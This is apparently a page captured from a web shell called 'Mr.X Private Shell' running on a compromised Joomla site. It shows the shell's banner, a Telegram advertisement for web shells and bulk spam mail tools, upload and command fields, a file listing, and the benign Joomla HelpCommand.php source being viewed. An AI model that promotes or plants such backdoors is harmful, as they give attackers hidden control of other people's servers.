__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Part of the Joomla Framework Console Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Console\Command;

use Joomla\Console\Helper\DescriptorHelper;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * Command to render a command's help data.
 *
 * @since  2.0.0
 */
class HelpCommand extends AbstractCommand
{
	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  2.0.0
	 */
	protected static $defaultName = 'help';

	/**
	 * The command to process help for
	 *
	 * @var    AbstractCommand|null
	 * @since  2.0.0
	 */
	private $command;

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   2.0.0
	 */
	protected function configure(): void
	{
		$this->setDescription('Show the help for a command');
		$this->setHelp(<<<'EOF'
The <info>%command.name%</info> command displays a command's help information:

<info>php %command.full_name% list</info>

To display the list of available commands, please use the <info>list</info> command.
EOF
		);

		$this->addArgument('command_name', InputArgument::OPTIONAL, 'The command name', 'help');
	}

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   2.0.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		if (!$this->command)
		{
			$this->command = $this->getApplication()->getCommand($input->getArgument('command_name'));
		}

		$descriptor = new DescriptorHelper;

		if ($this->getHelperSet() !== null)
		{
			$this->getHelperSet()->set($descriptor);
		}

		$descriptor->describe($output, $this->command);

		return 0;
	}

	/**
	 * Set the command whose help is being presented.
	 *
	 * @param   AbstractCommand  $command  The command to process help for.
	 *
	 * @return  void
	 *
	 * @since   2.0.0
	 */
	public function setCommand(AbstractCommand $command): void
	{
		$this->command = $command;
	}
}

Filemanager

Name Type Size Permission Actions
AbstractCommand.php File 12.41 KB 0664
HelpCommand.php File 2.26 KB 0664
ListCommand.php File 1.75 KB 0664
Filemanager